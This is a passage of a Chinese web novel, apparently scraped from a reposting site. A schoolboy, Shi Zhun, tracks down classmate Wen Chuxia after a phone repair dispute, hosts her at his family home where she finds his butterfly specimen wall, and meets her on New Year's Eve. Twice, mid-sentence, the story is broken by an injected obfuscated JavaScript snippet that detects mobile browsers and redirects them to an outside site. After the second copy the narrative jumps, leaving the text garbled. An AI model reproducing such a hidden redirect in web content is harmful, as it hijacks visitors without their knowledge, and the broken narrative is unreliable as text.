时准看了一会儿,然后抬眸,问:“这次的第一还是温初夏吗?她多少分啊?” “对。”阚春兰点点头,表情藏着些意外,“好像是715还是716来着。” 她教了时准一年半,时准也当了一年半的年纪第二或者第三,但这还是她第一次看见他主动关心起第一名的成绩,猜测他是不是对温初夏产生了竞争的心思,于是又找出了自己班的成绩单,给他看。 “温初夏这次数化生都是满分,就是英语稍微差了点,才136。” 阚春兰看着时准,忽然想到什么,说:“我记得你英语还挺好的,以后可以和温初夏多交流交流学英语的经验,她数理化比较强,你也可以问问她是怎么学的。” “嗯。”时准把两张成绩单折在一起,准备放进背包里,温声道:“有机会我会向她请教的。” 有一段时间没见温初夏了,不知道她放假这些天都在干什么。时准想,大概率还是在家里学习吧?她没什么朋友,除了在家学习还能干什么呢。 也不知道她过春节那几天会不会回她爸那儿,如果不回的话,一个人在出租屋里过年会不会太孤单了,那我要不要…… 时准正想到这里,面前的阚春兰忽然接起电话,“喂徐主任,您找我有什么事吗?” 她顿了顿,又疑惑道:“电话昨天就打不通,今天还关机了?您等等啊,我给她打个微信电话试试。” 明明是和自己完全无关的事,时准却莫名地心头一跳,拉开背包拉链的动作故意变得十分缓慢,直到阚春兰因为太长时间没有接通而挂断电话,他才把成绩单放进包里,背带重新背在左肩上。 阚春兰担忧地皱起眉,手指点着手机屏幕,嘴里低声念叨:“怎么会不接呢,都这个点儿了总不至于还在睡觉吧……” “阚老师。”时准在心里骂了自己一句多管闲事,但还是忍不住问:“谁的电话打不通啊?” “温初夏。” 阚春兰的脸色是微微有些凝重的担忧:“徐主任说他昨天晚上给温初夏打电话,通知她来学校拿竞赛奖牌的时候就打不通,刚才再打更是直接关机了,我给她发微信她也不回。这孩子平时总是一个人独来独往的,真是让人有点儿担心呐……” 时准心底也浮起担忧,想了想,说:“要不我一会儿去她住的地方看一看吧,我知道她家在哪儿。” “你知道?!”阚春兰惊讶地看着他,但因为心里着急所以没有过问太多,忙点头道:“好好好,那麻烦你去帮老师看看她在不在家,如果在的话就通知她下午来学校拿奖牌奖状,不在的话就知会我一声,我去试试联系她家里人。” “好。” …… “砰砰砰。” 凭着几个月前的记忆来到出租屋门口,时准抬手,在门铃不知道坏了多少年的防盗门上不重不轻敲了三下。 四周一片安静,凉意十足的微风穿堂而过,明媚的阳光将老旧发灰的白墙一半儿染成金色,给人一种走进旧时光的感觉。 时准竖起耳朵,试图从门内听到一阵由远及近的拖鞋踩地声,但实际上并没有,有的只是不知道从楼下哪层传来的锅碗瓢盆的动静。 她不在吗? “砰砰砰。” 再三下。 门还是没有开,说明屋子里确实没有人。 时准看了下时间,中午12点20分,心想:难道她出门吃午饭了?大中午的,这人还能跑去哪儿? 就在他想拿出手机给温初夏打个电话试试的时候,忽然,原本平稳的心跳忽然变得剧烈起来—— “咚、咚、咚……” 黑曜石色的深邃双眸下意识睁大,空洞地盯着面前凝固住的空气,与此同时,灵魂震荡不止。 等等。 这熟悉的感觉…… “可是你又没修好,我凭什么要给你钱,赶紧把订金退给我!” 手机店柜台后,一名五大三粗、头发打绺的啤酒肚中年男人,手拿份两素一荤的热乎盒饭,嘴里的食物还没咽下去,说起话来满口喷饭: “嘿我说你这个小姑娘,讲点儿道理行不行?是,我是没给你修好,但我昨天一整个晚上都在捣鼓你这个碎成渣渣的破手机,连觉都没睡好,你看我这两个黑眼圈儿!我的时间难道不要钱吗??” 这话给温初夏气够呛,虽然她的体积要比对方小两倍不止,但气势却一点儿不输: “你昨天信誓旦旦地跟我保证,说你肯定能修好,结果呢?昨天我的手机明明还能开机,今天却连机都开不了了,我没让你赔我钱你就感恩戴德吧。手艺这么差还想讹我,真当我好欺负呢?!” 被一个小姑娘指着鼻子骂,偏偏她还骂的没有错,男人面子上挂不住,于是自以为很有威慑力地把饭盒往柜台上一砸,瞪着俩乌漆麻黑的小眼睛,死皮赖脸地摆手道: “不管你怎么说,我这儿就一句话——退不了!拿着你的破手机另请高明去吧。” 听他这么说,温初夏反而笑起来,轻点着头问:“反正就是不退是吧?” “对!不、退!” 男人抱起他霸王龙一样的短粗胳膊,等着看温初夏无可奈何地拿起破手机离开,他好继续吃他的盒饭,再不吃快凉了。 但他没想到,这位看起来娇滴滴的小姑娘不仅说话够呛,挑起事来那也是相当猛,趁自己不备,她一个眼疾手快拿起了工具箱里的锤子,举在摆满手机的柜台上方,作势就要往下砸。 “诶——别别别!” 男人魂儿差点儿吓出来,急忙想去抢温初夏手里的锤子,但因为胳膊太短,手快伸抽筋了都没够到,于是转换策略,想从柜台后出去,但好不不死,裤子偏偏被钩子挂住了。 “小妹妹你冷静点儿、冷静点儿……” 进退两难的老板忙换了副谄媚的表情,肥硕的苹果肌股得圆圆的,样子又滑稽又可笑。 “有话好好说嘛。赔偿这个事情也不是不能考虑,你先把锤子放下来好不好?这一柜子手机可都是我新进的货啊!大几万呢!!” 他作西子捧心状。 温初夏看吐了,威慑性地用锤子轻轻在玻璃柜台上敲了敲,直接问:“赔多少?” 老板心肝跟着颤了两颤,回答时露出粘了辣椒皮的门牙,他试探地商量:“……两百?” “两百???”温初夏竖起眉,又把锤子高高举起,“你打发叫花子呢!” “那就四百!不能再多了,你这手机本来就是三四年前的旧款,哪怕是七成新的放二手市场也卖不过八百块钱,更何况你这个屏幕还碎成了这样,我愿意赔四百已经很良心了!” 老板挺起啤酒肚,气势也跟着凶起来,生怕被一个不到二十岁的小姑娘讹,丢脸又丢钱。 “行吧。”这个价格温初夏倒是勉强满意,把锤子扔在油腻腻的盒饭旁边,道:“赔偿加上昨天的订金,一共九百,我要现金。” 时准循着心里那股微妙的直觉,一路从居民楼找到手机店门口,正好撞见温初夏心情颇好地从店里推门而出,手里还拿着一把红彤彤的钞票,心里冒出的第一个念头是—— 她抢劫去了? 等等,这不是重点! 我居然真的能感应到她在这儿! 这简直……不可思议。 时准停下步子,脸上的表情因为觉得过于荒谬而有些发懵,眼睛一动不动紧盯着面前的人,直到对方发现自己,朝他走来,都没有回过神。 “好巧,你怎么会在这儿啊?” 温初夏一边说着,一边用钞票拍着手心,样子相当大款。 “我……” 时准强迫自己先淡定下来,把略微颤抖的手揣进兜里,胸腔之下,心脏比之前跳得还要猛烈好几倍,脸上却恢复了平静。 至少在温初夏眼里,他很正常。 “阚老师说你电话一直打不通,我就想来看看你人在不在家,敲门发现没人之后我就下楼了,想着今天天气好随便逛一逛,没想到这么巧,在这儿碰到了你。” 他这话说得滴水不理,温初夏当然没有理由怀疑。 她解释说:“我电话打不通是因为手机屏幕碎了,拿到店里来修,结果这个老板手忒残,直接把我手机修到没法儿开机了。喏,这是他给我退的钱。” 温初夏把钞票搓成一把扇子,欢快地扇着风。 至于温初夏的手机为什么会裂开,事情还要从昨天晚上说起。 当时她正在隔壁冉奶奶家蹭饭,吃着吃着,忽然,冉奶奶指着温初夏背后的厨房大叫一声,说有什么东西跑出来了,温初夏立刻转身去看,同时下意识把手里的东西砸了过去。 当晚,有两个可怜玩意儿碎成了渣渣。 一个,是温初夏的手机屏幕。 一个,是一只身长15cm的老鼠的头。 事后温初夏掏空了一整包消毒湿巾来擦手机。 “知道你现在很有钱,别扇了。”时准有些好笑地制止她,“大冷天的,当心给自己扇感冒。” “我才不会感冒呢。”话是这么说,但温初夏还是收起了票子,问:“你知道阚老师找我什么事吗?” “竞赛的奖状奖牌寄到学校来了,老师喊你有空去取一下,还有,期末考成绩也出来了。”时准把背包里的成绩单拿给温初夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502005|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。 “你还给我带来啦,谢谢。”温初夏接过,只看一眼后就折吧折吧揣进兜里。 显然,当惯了年级第一,排名对她来说已经没什么吸引力了。 “你吃饭了没?没吃的话我请你呀,姐现在可有钱了。”温初夏拍拍羽绒服口袋,笑嘻嘻地问。 时准本来是想答应的,但一听温初夏说出“姐”这个字,又觉得有些烦躁,于是拒绝了:“不用了,我早餐吃得晚,现在肚子还撑着呢。” “好吧。”温初夏遗憾地撇撇嘴,心说这小子真是犟得很,自己都试探这么多回了,始终不愿意上钩。 此时阳光正盛,强烈的光线让时准的眉骨愈发凸显,眼窝也愈发深刻,浓密的睫毛在眼下遮出一片颤动的阴影,瞳色变浅了点儿,漂亮的好像琥珀。 真是好看啊…… 温初夏毫不顾及地望进这双眼睛,心里实在是想象不出,这么温煦柔和的一个人,病娇附身了之后究竟会变成啥样。 时准不明白她为什么会忽然紧盯着自己看,先是愣了两秒,然后心里猛地升起一股燥热的羞赧,顺着脖子就往脸上冒,于是赶紧抬手咳了一下。 “发什么呆啊?我脸上有东西吗?” 温初夏闻声回过神,倒是半点儿不觉得害羞,略微移开目光,随口敷衍了句:“没,是我刚想事情去了。” 殊不知自己这副云淡风轻的表现反而在时准心里掀起了惊涛骇浪—— 她怎么这样! 这种眼神像是在想事情吗?明明就是在盯着我看…… 被强行按下的羞赧还是蹿上了耳根,时准似乎是嫌背包背着不舒服,别扭地动了动肩膀,左手扯了下背包带子,绷着嗓子说:“那没什么事的话我就先走了。” “等等,有事儿有事儿。”温初夏忙叫住他。 “什么事?” “我手机不是坏了吗,你帮我用地图看看,这附近有没有可以寄快递的地方,我妈生日快到了,我想给她寄礼物过去。” 时准微愣:“还有一周不到就过年了,你,不回家过年吗?” “不回呀。” 温初夏一副“你在惊讶什么”的表情,不知道是故作轻松还是真的不在意地说:“这算是我家的传统吧,我,我爸,我妈,一家三口各过各的,好几年都这是样了。” 虽然时准不太能理解这样的家族传统,但还是努力收起惊讶的情绪,低头拿出手机帮温初夏找附近的快递站,发现往前走三百米就有一个。 “好,知道了,谢谢啊。”温初夏对他挥挥手,转身要走。 结果走了没两步,时准忽然叫住她。 “温初夏。” “嗯?”温初夏回头,阳光穿过她鬓角轻柔的发丝,在微风中微微飘动。 她逆着光,看见时准的脸颊被阳光晒得微微泛红,薄唇紧张地动了动,然后特别正经地开口,说:“我妈想请你过几天去家里吃饭。” 温初夏:? 等等,原著里有这段吗? . 五天后。 一月份的南半球正值夏季,烈日高悬,天空是一望无际的蓝,与澎湃的大海交相辉映,海风吹来阵阵湿热清新的气息。 面朝大海的私人住宅草木丛生,女助理抱着个半身高的礼品盒,穿过铺满浅色大理石地砖的大堂,来到小花园,弯下腰对躺在沙滩椅上晒太阳的女人说: “小姐,这是小小姐从国内给您寄来的东西,说是生日礼物。” 闻言,半梦半醒的女人撑着坐起来,把鼻梁上的墨镜往下拉,露出一双娇媚但疏离,让人下意识心生距离感的眼睛。 宫羽斓有些困倦地说:“打开看看。” 助理把盒子放在地上,小心地打开,发现里面居然全是拉菲草。助理十分诧异,赶紧翻找起来,额头开始轻微出汗。 “奇了怪了,我就说这么大的盒子怎么抱着轻飘飘的,怎么什么都没有呢,该不会是被航空公司弄丢了吧……” “这是什么?” 宫羽斓眼尖地从拉菲草海洋中发现一张写了东西的纸,涂了安哥拉红甲油的手指拎起来一看,原来是成绩单。 温初夏:语文137,数学150,英语136,物理103,化学100,生物90 总分:716 年纪排名:1 旁边龙飞凤舞地写了这样一句话—— 【第二名差我29分】 宫羽斓噗嗤一声笑出来,引的旁边的助理十分好奇这张纸上到底写了什么,居然能让宫羽斓高兴成这样。 “你去,去把我前几天逛街买的东西通通寄回国。”宫羽斓笑着说。 “寄回老宅吗?”助理没来得及看清,收回目光。 阳光太刺眼,宫羽斓把成绩单折了一道,放在旁边的小茶几上,用高脚杯压住防止被风吹跑,然后将墨镜重新戴好,又恢复了之前那副对什么事情都不感兴趣的模样,说: “不,寄给夏夏。” “小小姐?”助理点点头,把地上的盒子抱起来,恭敬道:“好的,我这就去办。” 离开时,助理小声念叨:“那么多贵重物品,最好还是找专业的运输公司比较稳妥。” 15. 第 15 章 除夕前一天。 碧湾区。 咔哒。 锁开后,时准习惯性地说了一句:“妈,我回来了。” 明明从门口到厨房有很长一段距离,时准说这话的音量也不大,但林茵陈却像是长了顺风耳一样,立刻从厨房小跑到门口来迎接,热切的眼神略过亲儿子时准,直奔他身边的温初夏而去: “呀,初夏来啦!好久不见了真是……快进来快进来,别站在门口了,外面风大,屋里暖和。” 今天的林茵陈和她往常的贵妇形象很不一样,非常素雅,浑身上下唯二的首饰就只是一枚戒指、一只镯子,长发低低地盘起,米白色羊绒衫外系着围裙,袖子挽起,双手湿漉漉的,应该是刚才正在洗菜。 给人的感觉特别像是寻常人家里的一位寻常的母亲,正在为许久不见的孩子而甜蜜地忙碌着。 温初夏不由觉得有点压力山大,但脸上还是扬起礼貌的微笑,把手里的东西送给林茵陈,拜年道:“新年快乐阿姨,我也不知道您喜欢什么,就买了点儿水果带过来,希望您不要嫌弃。” “怎么会呢,只要是你买的,阿姨都喜欢。”林茵陈抢在保姆之前接过水果,打开一看,更是惊喜万分:“哎呀,你怎么知道我爱吃柚子呢?!” 温初夏笑而不语,心中却呵呵:那当然是因为这是你儿子买的呀。 看过好几眼后,林茵陈才把东西交给保姆收去厨房,对温初夏嗔怪道:“这个品种的青柚价格很贵的,初夏你人能来阿姨就已经很高兴了,不用带什么礼物,下次可别这样破费了啊。” “嗯。”温初夏乖巧点头。 别下次了吧,再多来几次,我怕您连您儿子叫啥都忘了。 两个小的进屋后,林茵陈让保姆先去厨房备菜,她自己解了围裙,在客厅和温初夏亲亲热热地说了一会儿话,全程视时准为无物,一双眼睛只盯着温初夏看,把温初夏盯得后背直冒汗。 直到十来分钟后,保姆把全部食材洗净切好过来通知林茵陈,她才终于从狂热中抽离出来,拍拍温初夏的肩膀,站起来说:“阿姨要给你做菜去了,一会儿咱们就开饭。” 离开时,林茵陈的目光才终于舍得分一点儿给刚才一直在旁边充当背景板的时准,脸上过分洋溢的热情一下就淡了不少。 她对他说:“小准,妈妈先去厨房了,你就在这儿陪你姐姐玩会儿。” 时准:“……” 你俩什么时候背着我偷偷达成的共识?谁是我姐姐??? 但对于母亲的要求,他还是习惯性地选择听从,尽管言不由心—— “好。妈妈你炒菜的时候小心点儿,别烫着了。” “知道。你俩好好玩儿啊,聊聊天,要是觉得无聊就四处逛逛。前段时间宋叔叔的女儿不是送了你一对VR眼镜吗?可以让阿姨找出来和姐姐一起玩儿,还有,花园里的白梅开了,你俩也可以去院子里逛逛,但注意别逛太久啊,室内外温差大,当心着凉……” 又叮嘱了一大堆,林茵陈才依依不舍地去了厨房。 别墅里的暖气开得很足,温初夏刚进屋就感受到了,虽然光客厅就有两台加湿器在不停冒着仙气,但她还是感觉到了燥,原本白润的脸颊被热气熏得有些泛红。 刚才不方便表现出来,林茵陈一走,温初夏就赶紧两手摸上脸颊,试图手动降温。 时准想起了她不爱吹暖气的习惯,问:“热啊?” “有点儿。” 热传导不太管用,温初夏又开始用手扇风,拿起茶几上的纸杯想喝一口,结果却发现是烫的,就又放下,继续用手狂扇。 时准看她热成这样,心想这人身体里难道是装了个火球?等夏天到了她该怎么办,该不会天天中暑吧? 名字里明明有个“夏”字,却这么怕热,也是神奇。 “要不……”时准看了眼身后上楼的环梯,问:“你和我去楼上呆会儿吧,我房间没开暖气。” “好啊。” 于是两人就一起去二楼。 温初夏跟在时准身后,两人之间相隔三步台阶的距离,走到一半,她忽然反应过来—— 等等,和时准单独呆在一个密闭且有床的空间里,会不会很危险啊? 一时间,那本万恶之源的同人小说里各种无道德无下限还无马赛克的PLAY如同跨年夜晚绚烂的烟花,在脑海里齐齐绽放,温初夏不小心踩空一级台阶,差点儿栽下去。 “怎么了?”听到响动的时准停住,回头。 温初夏眼疾手快地扶住木质围栏,稳定身形,因为脑子里乱七八糟的东西还没散干净,所以她完全不敢看时准,保持着埋头的姿势,举起一只尔康手,说:“没事!你走你的!” 时准被她这莫名悲壮的语气逗乐,倒退几步和她并排,体贴地问:“是不是拖鞋太大了,我去给你换一双?” “不、不用麻烦,刚才就是不小心。” 感受到他的视线正落在自己侧脸,温初夏强迫自己直视前方,用比刚才扇风要重十倍的力道把脑子里的脏东西全都打散掉,心里念起经: 不怕不怕,他现在才十六岁是个未成年,还没到《准时说爱你》里黑化变病娇的年纪。而且,就算他现在真的想对自己图谋不轨,我一个身经百战的守护者,难道还搞不定他一个出bug了的NPC吗? 然而,当温初夏真的和时准一起来到房间门口时,她还是秒怂了,抖着腿随便找了个借口,说自己忽然想上厕所,问他卫生间在哪儿。 时准给她指了方向,接着隐约听见楼下林茵陈在喊他,于是就又迅速下楼了。 他走后,温初夏松了老大一口气。 她摸了摸因紧张而愈发滚烫的脸颊,想起之前自己在守护者论坛里指天对地立的FLAG,小声开展自我批评: “不就是个百分百听妈妈话的小屁孩儿吗,怕什么怕啊,淡定点,不要自己吓自己……” 当铁血纯爱党第一次遇到病娇男鬼幼年体,心里犯怵是很正常的,但只要明确对方目前还是个什么都不懂的乖宝宝,一切就变得很简单了—— 趁他这跟青葱水嫩的小苗还没有长歪,赶紧把道德伦理的枷锁通通使出来,栓紧,栓死!我就不信他还能歪! 批评完后,温初夏重拾起斗志,把面前这个房间当做打BOOS前必须要走的关键地图,推开厚重的深棕色房门,走了进去。 这间屋子正朝南,外面连着个很长很宽的阳台,再加上别墅附近没什么高楼阻挡,所以采光很好,哪怕现在正值太阳下山日暮沉沉,不用开灯,温初夏也能很轻松地看清房间的情况。 玻璃窗大开着,湿冷的凉风徐徐吹来,温初夏脸上的燥意瞬间消失了大半。趁时准还没回来,她抱着胳膊,独自视察起他的房间。 时准的卧室很大,乍一看和温初夏的出租屋面积差不多,藏蓝色的墙壁和米白色的天花板营造出沉稳安静的氛围,空气中漂浮着一股淡淡的清香,很是干净清爽。 房间的各个区域划分明确,右边最里面靠窗的位置是床,一尘不染的被子铺的一丝褶皱也没有,旁边的床头柜上摆着一个台灯和一个老式时钟,时针和分针分别指向6和11。 小小年纪,房间倒还挺老成。 她轻啧一声。 屋子中间侧立着一排塞满书的实木书柜,温初夏扫视完休息区后,向书柜走了几步,本想看看时准平时都读什么书,结果却发现书柜之后还有一个隐蔽空间。 慢吞吞的步子停住了。 原来这柜子还有隔断的作用。 里面藏着什么秘密? 好奇心驱使温初夏从书柜和墙壁之间的空隙走进去,当看到书柜后到底藏着什么后,那双原本兴致缺缺的眼睛倏地瞪大了,清澈的瞳孔倒影出一片密密麻麻的东西—— 是蝴蝶。 从黑到白,由深及浅,上百个不同品种的蝴蝶标本铺满了书柜后的白墙,并严格按色阶排列。 左下角的蝴蝶翅膀是纯黑色的,视线往右方移动,就慢慢变成了黑中带白色斑点、灰褐色、深灰色; 往上看,是深棕色、暗紫色、浅紫色、宝蓝色…… 最左上角的那一只是银白的,翅膀表面透露出一种类似金属的晶莹光泽,肉眼看着几乎要与墙壁融为一体。 这些标本全都用同款木框装裱起来,尽管每只蝴蝶的颜色相异,大小也略有不同,整体看起来仍十分严密工整,很难不给人一种“这房间的主人绝对有十级强迫症”的印象。 日暮西沉,耀眼夺目的夕阳斜透过窗,如一波烧的通红的铁水,浇打在墙上,滚烫的颜色像是要把薄薄一层玻璃熔化,数以亿计的鳞片折射出无比绮丽梦幻的色彩。 一时间,墙上的蝴蝶仿佛全都活了过来,它们脱离了相框的束缚,轻动翅膀,朝着橘红色的原始丛林飞去,美的震撼心灵,让人分不清究竟是现实还是梦境。 温初夏被反射的夕阳刺得眯起眼,却舍不得挪开视线,因为这实在是太漂亮了,没有人不会被如此壮观又美丽的艺术品所打动。 然而惊艳了没两秒,她心里突然浮起一层淡淡的悲伤。 作为一个把追求自由刻在骨子里的人,她无法接受这辈子只能呆在一个地方,受人支配、循规蹈矩地过完一生。 温初夏喜欢新鲜事物,喜欢挑战和刺激,讨厌一成不变,恰到好处的失控最能激发她的胜负欲,这也是为什么她会成为一名优秀的守护者,并且迄今为止都没有萌生出要留在哪一个界面度过余生的想法。 在她眼里,没有任何一个地方、任何一个人值得她停下继续前进、探索未知世界的脚步。 人的生命就像水流,虽然总有一天会汇入大海,但如果提前停滞,就会变成一滩死水,发烂发臭。 如同喜欢动物的人不喜欢看马戏团表演,温初夏也不喜欢看本该在森林中自在飞翔的蝴蝶,被用针固定在巴掌大的相框里,供人欣赏。 老天似乎也察觉到了她的情绪低落,夕阳继续下坠,墙面上那片火红的光晕迅速黯淡了下去。 仿佛电影转场,整个房间的色调一下子由暖变冷,紧接着,浅色窗帘飘动,一阵冷风吹了进来。 温初夏冷不丁打了个寒颤,正要抬手想要搓一搓爆起鸡皮疙瘩的手臂,忽然—— “你看到了……” 谁?!! 冷冽低沉的嗓音突兀地自身后传来,温初夏抬起的双手瞬间顿住,吓得连心脏都差点停跳。 她猛地回头,对上了一双漆黑幽静的眼睛。 刚才盯着强光下的标本看了许久,温初夏有些视力模糊,再加上周围的光线很暗,按理来说,她应该看不清楚时准的脸才对。 可偏偏这双眼睛,这双幽深得仿佛是风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我那会儿其实挺怕这种会飞的动物的,比如蝴蝶,比如鸟。但因为那只蝴蝶实在太漂亮了,我很想看清它后翼的斑点究竟是什么颜色,所以就踮着脚打开窗。结果没想到,蝴蝶一进来后就疯狂往我脸上扑,把我吓坏了,从台阶摔了下去,晕了,脑门也磕破了,流了很多血。” “那段时间……”时准顿了顿,声音变低了些:“我妹妹才刚出事不久,我妈看我满脸是血地倒在地上,以为我也出事了,直接吓晕了过去。” “从那以后,我就总是做关于蝴蝶的噩梦,有梦见过毛毛虫钻进我的耳朵,在我的脑子里结成茧,再羽化成蝴蝶;也有梦见过被一只巨大的蝴蝶叼住衣领,飞到天上,然后狠狠把我摔下去。” “因为怕做噩梦,那段时间我总是不愿意睡觉,我爸就想了个办法,带我去野外捕蝴蝶,做标本。当看到那只鲜活的蝴蝶在毒瓶里慢慢停止挣扎的时候,我觉得很难受,忍不住闭上了眼,但我爸强迫我必须睁大眼睛看清楚,还对我说——” “如果你害怕一个东西,不要妄想通过逃避来减轻对它的恐惧,而是要完完全全地直面它,并试着掌控它。当你拥有了掌控这种能力后,就再也不会害怕了。” 他还说,喜欢也同理,如果你特别喜欢一个东西,最好的证明方式就是得到它,所付出的努力越多、代价越大,就说明你喜欢的程度越深,它对你的意义也越重要。 很快,温初夏在饭桌前见到了时准这位推崇狼性教育的父亲,时澄江。 时家是开私立医院的,时澄江既是董事长也是医生,或许是由于职业的特性,温初夏一见他,就感受到了一股特别冷肃特别威严的气场,让本就不怎么温馨的餐厅直接变身高级会议厅。 温初夏最怵的就是这种类型的长辈。 最不怵的,就是李确他爷爷那款。 晚饭期间,一向话多的她全程都没有主动挑起话头,只是一味回答林茵陈各种关切的问话。 刚开始餐桌上只有她俩的声音,后期全靠时准努力调节气氛,一会儿和他爸说说话,一会儿和他妈聊一聊,这顿饭才勉强能算得上是融洽。 吃完没多久,温初夏就以“自己住的地方离这里太远”为理由准备开溜,并婉拒了林茵陈想让她留宿一晚的意愿。时准非要送她一程。 “行啦,都到小区门口了,送到这儿就行。”夜晚的气温变得尤其低,温初夏说话时嘴里不停冒着哈气,呼吸时鼻子有些疼。 但时准并没有要转身回去的意思,侧目看着路灯下的温初夏,问:“你明天打算怎么过?” 明天就是除夕了,是一家团圆的日子。 “平时怎么过明天就怎么过呗。”温初夏没想到他居然还惦记着这事,歪了歪脑袋,半开玩笑地说:“睁着眼过,呼着吸过,吃着饭过,不然还能怎么过?” 时准没有说话,还是看着她。 “……” 温初夏笑着的嘴角一僵,简直服了。 这么关心留守儿童,以后你要不干脆别继承家业了,去山区支教明显更符合你的热心肠。 她没辙了,叹了口气,停下脚步,无奈地问:“难道你有什么好建议,能让我这位孤家寡人明天过得不那么可怜吗?” 16. 第 16 章 除夕当晚。 老城区几乎家家户户都亮着灯,万千的灯火像万千个温暖的小月亮,象征着美满与团圆,倒把天上那个衬的有些孤单。 往日人来人往的商业街在今夜暂时冷清了下来,只偶尔才会有一两个人行色匆匆地经过。 沿街商铺,除了24小时便利店之外,也都处于歇业状态,唯一一如既往坚守岗位的只有路灯。 “嗡嗡。” 茶几上的手机屏幕弹出消息,温初夏拿起来看后,关掉正在播放无聊小品的电视机,走进卧室,出来时睡衣已经换成了灰色呢子大衣,高领的,让别人看不出来她里边只穿了件薄内搭。 温初夏站在门口的全身镜前,双脚踩进鞋里,同时手也没闲着,把压在衣领里的长发全都薅出来,快速扎成侧麻花辫。 扎完后,她迅速出了门。 “噔噔噔……” 急促的脚步声在居民楼又老旧又空荡的楼梯间回响,将声控灯逐层点亮,经过有些门户时,还能听到里面传来的欢声笑语。 有节奏的脚步声忽然消失,温初夏仰头轻闭上眼,叹了口气,不知道是在骂自己还是骂别人:“除夕夜,还是这个点儿,只有神经病才会出门乱晃。” 她停在三楼台阶,顺着围栏往外一瞅,发现另一位神经病早已站在楼外那棵秃头老银杏旁等待,因为冷,他两手不停搓动着,举到嘴边哈气,放下手时,目光恰好锁定了楼里的自己。 时准今晚穿了件短款的浅色羽绒服,下身是米白长裤,简约的搭配显得身材比例特别好,高高瘦瘦的,脖子以上露出的皮肤十分白净,耳朵却被夜风吹的通红,看起来像是裹了层草莓糖霜。 一发现温初夏,他就立刻大幅度挥动起手臂,甚至还原地蹦了两下,脸上浮现出的笑容比阳光还要灿烂,他用口型和她打招呼: 嗨! “……” 神经病! 温初夏感觉自己腮帮子硬了。 她没有停留太久,继续快步下楼,大步流星直奔时准而去,等走到他面前,做的第一件事就是一巴掌拍他胸口上。 “啪!” 力道不大,但羽绒服发出声音很响。 时准毫无防备,下意识往后仰了仰,一脸懵逼地看着温初夏,刚想问怎么了,就见她又拍了两下,语气嫌弃:“你是钻狗洞出来的吗?身上全是灰。” 时准低头一看,发现还真是,赶紧转着圈让温初夏帮忙把衣服上的灰拍干净,不太好意思地解释: “我怕被家里人发现所以没走正门,是先从二楼的阳台跳到外面的院子,然后再翻院墙出来的。应该是翻墙的时候不小心蹭到了吧……” “那你一会儿还回去吗?”温初夏边拍边问。 “回啊,当然得回。”时准举着手,又往左转了四十五度,“不过得晚一点,等我家里人全都睡了再偷摸溜回去。” 温初夏拍灰的手一顿,本想骂他一句“你说你是不是作”,但目光扫过少年冻的通红的耳朵和鼻尖,一双眼睛却格外水润明亮,像是装了星星的玻璃瓶,又把话咽了下去,感觉自己被气饱了。 偏偏时准这个时候问她:“诶,你吃晚饭没有?” “……没。” 昨晚温初夏打了一通宵游戏,打完后直接一觉睡到今天下午五点。 起床后,她懒洋洋地做了会儿家务,又洗了个热水澡,洗完出来一看时间,已经七点四十了,冰箱里的食材寥寥无几,附近的超市又都关了门,所以干脆选择不吃。 “就知道你肯定没吃饭。” 温初夏不明白时准为什么要用这种的语气说出这种句话,笃定中透露着雀跃和一丝傻气。 我没吃晚饭你有什么好高兴的? “所以我晚饭也特意吃的很少,咱们可以一起去吃夜宵。”时准脸上藏着期待。 他注意到昨晚那顿饭温初夏吃得很拘束,所以想趁此机会弥补一下,再请她吃一顿,就当年夜饭了。 谁知温初夏听后愣了半秒,竟然笑起来,弯成新月的眼睛看着他:“这位少爷,你是不是不知道除夕夜几乎所有门店都要关门啊?咱们现在唯一能吃东西的地方,应该就只有便利店了。” 时准第一次被温初夏这么称呼,虽然知道她是在嘲讽自己,但心脏却还是像被针扎了一下,冒出许多令人晕眩的小泡泡,原本冰凉的脸颊也逐渐发烫。 他羞赧地侧过脸,弱弱为自己辩解:“我以为至少麦当劳会开着……” 时准说的倒没错,但很遗憾,居民楼方圆三公里范围内就根本就没有麦当劳。 十分钟后,他俩来到附近唯一一家还在营业的711,扫光了店里所剩不多的关东煮,并排坐在玻璃边的椅子上,面对着空无一人的大街,悠闲地吃起来。 吃了几口,温初夏问时准:“你觉不觉得有点儿咸?” 时准从小接受到的餐桌礼仪教育之一,就是绝对不能在嘴里有东西的情况下说话,但此刻,他刚咬下一小口萝卜,还没来得及嚼,就赶紧含糊地回:“嗯,有点儿——你也觉得咸?” “不啊,我觉得刚刚好。”温初夏说,“昨天在你家吃饭的时候,感觉你们一家人口都挺淡的,就猜你大概会觉得咸。” 昨晚那顿饭是自打温初夏穿越到这个界面来,吃得最绿色健康的一顿,虽然菜是摆了满满一桌,但烹饪方式无非就三样:清炒、清蒸、清炖。 唯一一道不健康的高热量食物,炸猪排,下面居然垫了满满的蔬菜沙拉,甚至连蘸酱都只是一小碟刮油的醋。 不愧是医学世家,饮食习惯健康的令人发指。 要不是今夜能觅食的地方只有便利店,温初夏绝对会带时准去涮火锅、撸串串,让他这个打小只能吃轻油少盐食物的可怜娃品味一下,什么才是人间美味。 吃完后离开便利店,出去的时候恰好一阵凉风挂过,温初夏没忍住打了个相当抖擞的激灵,身旁的时准立刻无言地看着她,眼神不言而喻。 “我不、冷——” 说这话时,温初夏的声音控制不住抖了两下,导致她接下来的辩解毫无可信度:“是室内外温差太大了,一时还没适应而已。” 时准从头到脚扫了她一眼,然后冷不丁握住了她的手臂,又在温初夏反应过来要骂他之前迅速松开,眉心折起,严肃地问:“你里面不会没穿吧?我都能摸到你的骨头。” 说完后,时准才发现自己这句话有点儿没过脑子。 